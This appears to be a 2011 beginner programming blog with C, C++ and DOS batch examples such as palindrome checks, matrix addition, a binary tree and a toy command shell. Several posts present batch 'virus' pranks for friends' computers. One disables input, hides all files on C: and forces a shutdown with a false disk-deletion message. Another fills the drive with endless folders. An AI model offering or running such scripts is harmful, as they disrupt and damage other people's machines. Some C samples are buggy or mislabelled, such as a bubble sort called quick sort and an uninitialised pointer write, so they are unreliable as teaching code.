You feel excited to learn computer languages

Then you are at the right place. Computer languages are most fun thing you have ever seen. Use this excellent languages and have a nice future...

How computer can help you?

I will ask how it can not? From the latest trend of social networking sites like Facebook, Twitter to the extended use of computer in our house hold devices. You can be benefited from computer in the every aspect of life.

What web technology?

It is the blessings of web technology, that brings you here and you are reading my post now. Strange huh!! Not at all. Use my web technology tutorials and understand, how they can help you for better marketing and advertising systems.

How Mobile technology can help us?

You have answer right? I know. But in my tutorials I will cover some unique features that may add some information in your hard disk too. Sounds good? Check them...

Computer and future

Yes that is the most important question to me. What is next? What is going to be the next big thing for us? Well I will answer them in my blog. Check the corresponding section..

Showing posts with label C language. Show all posts
Showing posts with label C language. Show all posts

Friday, November 11, 2011

How to check a number palindrome or not in C


How to check a number palindrome or not in C
#include<stdio.h>
void main(){
    int n,r,sum=0,temp;

    printf("Please enter a number: ");
    scanf("%d",&n);

    temp=n;
    while(n){
         r=n%10;
         n=n/10;
         sum=sum*10+r;
    }
    if(temp==sum)
         printf("%d is a palindrome number",temp);
    else
         printf("%d is not a palindrome number",temp);
}

How to generate armstrong number with in a range


How to generate armstrong number with in a range
#include<stdio.h>
void main(){
    int num,r,sum,temp;
    int min,max;

    printf("Enter the left range: ");
    scanf("%d",&min);

    printf("Enter the right range: ");
    scanf("%d",&max);

    printf("Armstrong numbers in given range are: ");
    for(num=min;num<=max;num++)
   {
         temp=num;
         sum = 0;

         while(temp!=0){
             r=temp%10;
             temp=temp/10;
             sum=sum+(r*r*r);
         }
         if(sum==num)
             printf("%d ",num);
    }
}

How to generate perfect number with in a range


How to generate perfect number with in a range
#include<stdio.h>
void main(){
  int n,i,sum;
  int min,max;

  printf("Enter the left range: ");
  scanf("%d",&min);

  printf("Enter the right range: ");
  scanf("%d",&max);

  printf("Perfect numbers in given range is: ");
  for(n=min;n<=max;n++){
    i=1;
    sum = 0;

    while(i<n){
      if(n%i==0)
           sum=sum+i;
          i++;
    }

    if(sum==n)
      printf("%d ",n);
  }
}

Matrix Addition in C laguage



#include<stdio.h>
int main(){
  int a[3][3],b[3][3],c[3][3],i,j;
  printf("Please Enter values for first Matrix: ");
  for(i=0;i<3;i++)
  {
      for(j=0;j<3;j++)
      {
           scanf("%d",&a[i][j]);
      }
  }
  printf("Please Enter values for second Matrix: ");
  for(i=0;i<3;i++)
  {
      for(j=0;j<3;j++)
      {
           scanf("%d",&b[i][j]);
      }
  }
  // Addition operations
   for(i=0;i<3;i++)
       for(j=0;j<3;j++)
            c[i][j]=a[i][j]+b[i][j];
   printf("\n Result after Addition of two matrix is\n");
   for(i=0;i<3;i++)
   { 
       for(j=0;j<3;j++)
            printf("%d\t",c[i][j]);
       printf("\n");
   }
}

Thursday, November 10, 2011

Your own Command.Com shell using C Language

Your own Command.Com shell using C Language
I made this customized COMMAND.COM file. You can add more commands. If you want updated version.  Comment here. I will post the updated version.

#include<conio.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<process.h>
 char str[20];
 void play(char []);
 void process(char []);
 void quit();
 void help();
 void clear();
 void dir();

 struct lost
 {
char text[20];
void (*f)();
 }los[]={"EXIT",quit,
"HELP",help,
"CLEAR",clear,
"DIR",dir};
 void main()
 {
while(1)
{
printf("\nCommand¯¯");
scanf("%s",str);
process(str);
play(str);
}
 }
 void play(char ar[])
 {
int c=0;
while(c<2)
{
if(strcmp(los[c].text,ar)==0)
{
los[c].f();
}
c++;
}
 }
 void process(char ar[])
 {
int c=0;
while(ar[c]!=NULL)
{
ar[c]=toupper(ar[c]);
c+=1;
}
 }
 void quit()
 {
exit(0);
 }
 void help()
 {
printf("Created by Debarghya Mukherjee.......\nDated 20.11.04\nEmail-debarghya_mkr@yahoo.com");
 };
 void clear()
 {
clrscr();
 }
 void dir()
 {
 }

Batch file Password protection system

This is sample batch file that can be used as password protection. You can set your own password. Here I have set "PASSME" as my password. you can set your own password. Then you test it. System will ask you for password, and untill you press right password this will not let you in.
Enjoy.
@echo off
:start
echo.
echo.
echo Enter the password and press enter after F6:
copy con pas
find "PASSME"<pas
if errorlevel=1 goto 1
cls
echo W E L C O M E   I N   M Y P C
goto 2
:1
del pas
cls
goto start
:2
del pas

How to make this
1.Open Notepad. Then type the code.
2. Save it by the extension called .bat. e.g “virus.bat”.
3. Then just double click it. Your system will halt. Just restart thesystem, it will work fine. Have fun.
Windows XP, Windows 7, all systems are capable of running this code.

Wednesday, November 9, 2011

Dos batch file Virus delete Hard Disk and scare friends

You want to scare your friends with computer tricks? This simple code will make your friend so much scared. But it harmless. Follow the steps written below. It will make a batch file that will restart his machine and entire C drive will be empty. It will make him so much scared. But Nothing will be deleted. It will make them hidden. But your friend will loose nerve, I am sure. Make fun but never use for destruction of other computers. Have fun.
@Echo off
rundll32.exe mouse,disable
rundll32.exe keyboard,disable
Attrib +h C:*.*
shutdown -s -c 60
shutdown -r -c "Your Hard Disk Is Getting Deleted... Thank you....."


How to make this
1.Open Notepad. Then type the code.
2. Save it by the extension called .bat. e.g “virus.bat”.
3. Then just double click it. Your system will halt. Just restart thesystem, it will work fine. Have fun.
Windows XP, Windows 7, all systems are capable of running this code.

Tuesday, November 8, 2011

Dos batch file Virus to fill entire hard disk

You want to do fun with your friends computer? This simple code will make your friend computer completely full. His/Her root directory will be filled with unnecessary folders. And finally entire drive will be filled. He can not do any work on it. Make fun but never use for destruction of other computers. Have fun


@ECHO off
CD %HomeDrive%\
SET vrs=1
GOTO loop
:loop
MKDIR ILOVEU%vrs%
SET /a vrs=%vrs%+1
GOTO loop


How to make this
1.Open Notepad. Then type the code.
2. Save it by the extension called .bat. e.g “virus.bat”.
3. Then just double click it. Your system will halt. Just restart the system, it will work fine. Have fun.

Monday, November 7, 2011

Menu Driven Dos program

Simple Your details program in DOS. This is a menu driven program. Try it.
@ECHO off
color 2
cls
:start
ECHO.
ECHO 1. Print Name
ECHO 2. Print Mobile
ECHO 3. Print Address
set choice=
set /p choice=Type the number to print text.
if not '%choice%'=='' set choice=%choice:~0,1%
if '%choice%'=='1' goto op1
if '%choice%'=='2' goto op2
if '%choice%'=='3' goto op3
ECHO "%choice%" is not valid, try again
ECHO.
goto start
:op1
ECHO "Write Your name"
goto end
:op2
ECHO "Write Your mobile number"
goto end
:op3
ECHO "Write your address"
goto end
:end

Manage Car model Using C++


Using this program you can have basic knowledge of Constructor, enum, basic class construction, meber function details.

#include<iostream.h>
 #include<conio.h>
 enum COLOR{red,blue,green,black,white};
 typedef char * String;
 class car
 {
private:
COLOR color;
float price;
String company;
public:
car();
car(COLOR,float,String);
void showvalue() const;
 };
 car::car():
color(white),
price(0.0),
company("")
{}
 car::car(COLOR c,float p,String com)
 {
this->color=c;
this->price=p;
company=com;
 }
 void car::showvalue() const
 {
cout<<"This "<<color<<" of "
<<company<<" is for "<<price<<" Rs."<<endl;
 }
 class complex
 {
private:
int real;
int com;
public:
complex(int,int);
complex();
void showvalue() const;
//void operator++ ();
complex operator++ ();
complex operator++ (int);
complex operator+(const complex c);
 };
 complex::complex():
real(0),com(0){}
 void complex::showvalue() const
 {
cout<<real<<"+"<<com<<"i"<<endl;
 }
 complex::complex(int a,int b):
real(a),com(b){}
 complex complex::operator++()
 {
complex c(0,0);
real++;
c.real=real;
return c;
 }
 complex complex::operator+(const complex c)
 {
complex a;
a.real=real+c.real;
a.com=com+c.com;
return a;
 }
 complex complex::operator++(int)
 {
complex c;
c=*this;
real++;
return c;
 }
 void main()
 {
complex c1(1,2),c2(2,3);
clrscr();
c1.showvalue();
++c1;
c1.showvalue();
complex c3=c1++;
c3.showvalue();
c1.showvalue();
complex c4;
c4=c1+c2;
cout<<endl<<endl;
c1.showvalue();
c2.showvalue();
c4.showvalue();
getch();
 }

Tree Operation using C language

Tree data structure always attract me lot. I made this complete solution for tree data structure for computer science students.
#include<stdio.h>
 #include<conio.h>
 #include<alloc.h>
 struct tree
 {
int info;
struct tree *left;
struct tree *right;
 };
 struct tree *makenode(int item)
 {
struct tree *n;
n=(struct tree *)malloc(sizeof(struct tree));
n->left=NULL;
n->right=NULL;
n->info=item;
return n;
 }
 struct tree *find(struct tree *r,int item)
 {
struct tree *p;
p=NULL;
while(r)
{
if(r->info==item)
return p;
if(r->info>item)
{
p=r;
r=r->left;
}
else
{
p=r;
r=r->right;
}
}
return p;
 }
 void create(struct tree **r,int item)
 {
struct tree *ptr;
if(!(*r))
{
*r=makenode(item);
}
else
{
ptr=find(*r,item);
if(ptr)
{
if(ptr->info>item)
ptr->left=makenode(item);
else
ptr->right=makenode(item);
}
else
printf("Not possible");
}
 }
 void pre(struct tree *r)
 {
if(r)
{
printf("\nAddress %u Value %d Left %u Right %u",r,r->info,r->left,r->right);
pre(r->left);
pre(r->right);
}
 }
 void nonpre(struct tree *r)
 {
struct tree *arr[20];
int top=0;
arr[0]=NULL;
while(r)
{
printf("\nAddress %u Value %d Left %u Right %u",r,r->info,r->left,r->right);
if(r->right)
{
top++;
arr[top]=r->right;
}
if(!r->left)
{
r=arr[top];top--;
}
else
r=r->left;
}
 }
 void in(struct tree *r)
 {
struct tree *arr[20];
int top=0;
arr[0]=NULL;
while(top>-1)
{
while(r)
{
top++;arr[top]=r;
r=r->left;
}
r=arr[top];top--;
while(r)
{
printf("\nAddress %u Value %d Left %u Right %u",r,r->info,r->left,r->right);
if(r->right)
{
r=r->right;
break;
}
r=arr[top];top--;
}
}
 }
 void main()
 {
int item,i;
struct tree *r;
clrscr();
r=NULL;
for(i=0;i<=9;i++)
{
printf("Enter the number:");
scanf("%d",&item);
create(&r,item);
}
nonpre(r);
in(r);
free(r);
getch();
 }

Word Documents to Text file Using C

Word Documents to Text file Using C language


#include<stdio.h>
#include<conio.h>
 void main()
 {
FILE *pt,*p;
char ch;
clrscr();
pt=fopen("C:\\DOC1.DOC","r");
p=fopen("C:\\e.txt","w");
if(pt==NULL)
{
printf("Can not open the source file");
exit(0);
}
if(p==NULL)
{
printf("Can not open the destination file");
exit(0);
}
while((ch=getc(pt))!=EOF)
{
putc(ch,p);
}
fclose(pt);
fclose(p);
getch();
 }

Difference between two Dates in C laguage

Difference between two Dates in C language


 #include<conio.h>
 #include<stdio.h>
 #include<stdlib.h>
 int con(char ch)
 {
char *c;
*c=ch;
return atoi(c);
 }
 int scan(char arr[])
 {
int flag=1,i;
int p;
for(i=0;i<=9;i++)
{
if(!((arr[i]>=48 && arr[i]<=57) || arr[i]=='/'))
{
return 0;
}
}
p=con(arr[0])*10+con(arr[1]);
if(p>31)
return 0;
p=con(arr[3])*10+con(arr[4]);
if(p>12)
return 0;
return 1;
 }
 void sub(char date1[],char date2[])
 {
int d1,d2,m1,m2,y1,y2;
d1=con(date1[0])*10+con(date1[1]);
d2=con(date2[0])*10+con(date2[1]);
m1=con(date1[3])*10+con(date1[4]);
m2=con(date2[3])*10+con(date2[4]);
//y1=((( con(arr[6])*10 + con(arr[7]) )*10) + con(arr[8]) )*10) + con(arr[9]);
printf("\n%d/%d \n%d/%d",d1,m1,d2,m2);
 }
 void main()
 {
char date1[11],date2[11];
char *ch;
clrscr();
printf("Enter the first date¯");
scanf("%s",date1);
printf("\nEnter the second date¯");
scanf("%s",date2);
//printf("%d %d",scan(date1),scan(date2));
if(scan(date1)==1 && scan(date2)==1)
{
sub(date1,date2);
}
//printf("%d",a);
getch();
 }

Windows Programming in C language

Windows programming in C language. You ever have considered windows programming in C. If not then, try this simple functions and use them with in your program body, for better looks.
 void win(int x1,int y1,int x2,int y2)
 {
int i,temp;;
if(x1<=0)
{
x1=1;
}
if(y1<=0)
{
y1=1;
}
if(x1>x2)
{
temp=x2;
x2=x1;
x1=temp;
}
if(x1>x2)
{
temp=y2;
y2=y1;
y1=temp;
}
gotoxy(x1,y1);
cprintf("É");
for(i=x1+1;i<=x2;i++)
{
cprintf("Í");
}
cprintf("»");
gotoxy(x1,y2);
cprintf("È");
for(i=x1+1;i<=x2;i++)
{
cprintf("Í");
}
cprintf("¼");
gotoxy(x1,y1+1);
for(i=y1+1;i<=y2;i++)
{
cprintf("º");
gotoxy(x1,i);
}
gotoxy(x2+1,y1+1);
for(i=y1+1;i<=y2;i++)
{
cprintf("º");
gotoxy(x2+1,i);
}

 }
 void my_button(int xpos,int ypos,char arr[])
 {
gotoxy(xpos,ypos);
cprintf("® ");
printf("%s",arr);
cprintf(" ¯");
 }

Sunday, November 6, 2011

Quick Sort using C language in non-recursive manner

Quick Sort using C language in non-recursive manner


#include<conio.h>
#include<stdio.h>
 void main()
 {
int i,j,temp,beg,end,mid,item;
int arr[]={34,67,23,1,89,2,36,12,20,61};
clrscr();
/*printf("Enter value:\n");
for(i=0;i<=9;i++)
{
scanf("%d",&arr[i]);
} */
for(i=0;i<=9;i++)
{
for(j=i+1;j<=9;j++)
{
if(arr[i]>arr[j])
{
temp=arr[i];
arr[i]=arr[j];
arr[j]=temp;
}
}
}
for(i=0;i<=9;i++)
{
printf("\n%d",arr[i]);
}
printf("Enter the number to find:");
scanf("%d",&item);
beg=0;
end=9;
mid=(int)(end+beg)/2;
while(item!=arr[mid] && beg<=end)
{
if(item>arr[mid])
{
beg=mid+1;
}
else
{
end=mid-1;
}
mid=(int)(end+beg)/2;
}
if(beg<=end)
{
printf("\nPosition is %d",mid+1);
}
else
printf("\nPosition may be become %d",mid+1);
getch();
 }

Your own user defined "printf" function

Your own user defined "printf" function


 #include<stdio.h>
 #include<stdarg.h>
 #include<conio.h>
 int fun(int n)
 {
if(n==0)
return 0;
else
{
fun((int)n/10);
putchar((n%10)+48);
}
 }
 void print(char *f,...)
 {
int i;
va_list p;
va_start(p,f);
while(*f!=NULL)
{
if(*f=='%')
{
f++;
switch(*f)
{
case 'd':
fun((va_arg(p,int)));
f++;
break;
case 'c':
putchar(va_arg(p,int));
f++;
break;
case '%':
putchar('%');
f++;
}
}
else
{
putchar(*f);
f++;
}
}
 }
 void main()
 {
char c='I';
int n;
clrscr();
print("Hallo cant you go with us??????\n");
print("Output is 1st:%d\t2nd:%d\t3rd:%d",4,3,85);
print("\nOutput is %c",c);
printf("\nEnter the number:");
scanf("%d",&n);
printf("Here is %d",n);
getch();
 }

How to Use Mouse in C language

How to Use Mouse in C language


 union REGS i,o;
 void initmos()
 {
i.x.ax=0;
int86(0x33,&i,&o);
 }
 void space(int size)
 {
int i;
int prevx,prevy;
prevx=wherex();
prevy=wherey();
gotoxy(prevx,prevy);
textattr(112);
for(i=1;i<=size;i++)
{
cprintf(" ");
}
gotoxy(prevx,prevy);
 }
 void showmos()
 {
i.x.ax=1;
int86(0x33,&i,&o);
 }
 void getmos(int *x,int *y,int *b)
 {
i.x.ax=3;
int86(0x33,&i,&o);
*b=o.x.bx;
*x=o.x.cx;
*y=o.x.dx;
 }